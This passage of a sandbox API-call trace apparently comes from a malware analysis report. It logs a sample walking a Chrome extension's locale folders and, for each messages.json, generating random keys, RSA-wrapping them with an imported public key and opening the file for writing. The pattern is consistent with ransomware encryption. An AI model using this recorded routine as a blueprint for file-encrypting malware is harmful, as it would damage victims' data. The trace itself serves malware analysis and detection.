dwFlags=0x0) returned 1 [0241.635] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.636] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.640] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.640] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.640] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.640] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.644] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.644] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.646] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afe78) returned 1 [0241.646] CryptGetKeyParam (in: hKey=0x66afe78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.647] CryptEncrypt (in: hKey=0x66afe78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xad40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.647] GetLastError () returned 0x0 [0241.647] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.647] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.648] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afcb8) returned 1 [0241.649] CryptGetKeyParam (in: hKey=0x66afcb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.649] CryptEncrypt (in: hKey=0x66afcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xad50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.649] GetLastError () returned 0x0 [0241.649] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.649] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.654] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.654] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.654] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.659] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.659] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.659] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.661] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af938) returned 1 [0241.661] CryptGetKeyParam (in: hKey=0x66af938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.661] CryptEncrypt (in: hKey=0x66af938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xad60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.661] GetLastError () returned 0x0 [0241.661] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.661] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.663] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afb38) returned 1 [0241.663] CryptGetKeyParam (in: hKey=0x66afb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.663] CryptEncrypt (in: hKey=0x66afb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xad70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.663] GetLastError () returned 0x0 [0241.663] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.663] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.665] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.669] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.669] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.669] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.674] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.674] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.676] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afc38) returned 1 [0241.676] CryptGetKeyParam (in: hKey=0x66afc38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.676] CryptEncrypt (in: hKey=0x66afc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xad80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.677] GetLastError () returned 0x0 [0241.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.677] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.678] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afaf8) returned 1 [0241.678] CryptGetKeyParam (in: hKey=0x66afaf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.678] CryptEncrypt (in: hKey=0x66afaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xad90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.679] GetLastError () returned 0x0 [0241.679] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.679] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.679] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.688] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.688] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.688] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.688] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.692] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.692] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.692] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.692] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.694] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afa78) returned 1 [0241.694] CryptGetKeyParam (in: hKey=0x66afa78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.694] CryptEncrypt (in: hKey=0x66afa78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xada0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xada0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.694] GetLastError () returned 0x0 [0241.694] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.694] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.697] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af978) returned 1 [0241.697] CryptGetKeyParam (in: hKey=0x66af978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.697] CryptEncrypt (in: hKey=0x66af978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xadb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xadb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.697] GetLastError () returned 0x0 [0241.697] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.697] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.698] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.702] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.703] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.706] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.707] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.710] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afb78) returned 1 [0241.711] CryptGetKeyParam (in: hKey=0x66afb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.711] CryptEncrypt (in: hKey=0x66afb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xadc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xadc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.711] GetLastError () returned 0x0 [0241.711] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.711] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.713] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af8f8) returned 1 [0241.713] CryptGetKeyParam (in: hKey=0x66af8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.713] CryptEncrypt (in: hKey=0x66af8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xadd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xadd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.713] GetLastError () returned 0x0 [0241.713] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.713] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.714] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.716] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.723] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.723] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.723] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.727] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.727] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.727] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.731] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afc78) returned 1 [0241.731] CryptGetKeyParam (in: hKey=0x66afc78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.731] CryptEncrypt (in: hKey=0x66afc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xade0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xade0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.732] GetLastError () returned 0x0 [0241.732] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.732] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.733] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af9b8) returned 1 [0241.734] CryptGetKeyParam (in: hKey=0x66af9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.734] CryptEncrypt (in: hKey=0x66af9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xadf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xadf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.734] GetLastError () returned 0x0 [0241.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.734] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.739] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.742] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.745] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.746] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.750] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.750] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.753] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.768] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afbb8) returned 1 [0241.768] CryptGetKeyParam (in: hKey=0x66afbb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.768] CryptEncrypt (in: hKey=0x66afbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xae00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.768] GetLastError () returned 0x0 [0241.768] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.768] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.770] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af9f8) returned 1 [0241.770] CryptGetKeyParam (in: hKey=0x66af9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.770] CryptEncrypt (in: hKey=0x66af9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xae10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.770] GetLastError () returned 0x0 [0241.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.770] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, 